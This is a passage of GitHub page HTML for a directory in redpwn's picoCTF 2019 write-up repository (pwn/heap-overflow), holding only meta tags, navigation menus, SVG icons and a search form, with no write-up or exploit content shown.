<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="redpwn's writeups for picoCTF 2019. Contribute to redpwn/picoCTF-2019 development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://repository-images.githubusercontent.com/211591085/50a19a00-ec69-11e9-82ab-a2c43c72b386" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="picoCTF-2019/pwn/heap-overflow at master · redpwn/picoCTF-2019" /><meta name="twitter:description" content="redpwn's writeups for picoCTF 2019. Contribute to redpwn/picoCTF-2019 development by creating an account on GitHub." /> <meta property="og:image" content="https://repository-images.githubusercontent.com/211591085/50a19a00-ec69-11e9-82ab-a2c43c72b386" /><meta property="og:image:alt" content="redpwn's writeups for picoCTF 2019. Contribute to redpwn/picoCTF-2019 development by creating an account on GitHub." /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="picoCTF-2019/pwn/heap-overflow at master · redpwn/picoCTF-2019" /><meta property="og:url" content="https://github.com/redpwn/picoCTF-2019" /><meta property="og:description" content="redpwn's writeups for picoCTF 2019. Contribute to redpwn/picoCTF-2019 development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/redpwn/picoCTF-2019 git https://github.com/redpwn/picoCTF-2019.git">
<meta name="octolytics-dimension-user_id" content="46502497" /><meta name="octolytics-dimension-user_login" content="redpwn" /><meta name="octolytics-dimension-repository_id" content="211591085" /><meta name="octolytics-dimension-repository_nwo" content="redpwn/picoCTF-2019" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="211591085" /><meta name="octolytics-dimension-repository_network_root_nwo" content="redpwn/picoCTF-2019" />
<link rel="canonical" href="https://github.com/redpwn/picoCTF-2019/tree/master/pwn/heap-overflow" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="211591085" data-scoped-search-url="/redpwn/picoCTF-2019/search" data-owner-scoped-search-url="/orgs/redpwn/search" data-unscoped-search-url="/search" data-turbo="false" action="/redpwn/picoCTF-2019/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="k69ef55VKgeqVCdAS96F5HSWCjOtvu7Ojow9OIOftcShvl9J6f062ME9Ll1VlwOflyV7eyqmlL09L+wYZ+GTPw==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none 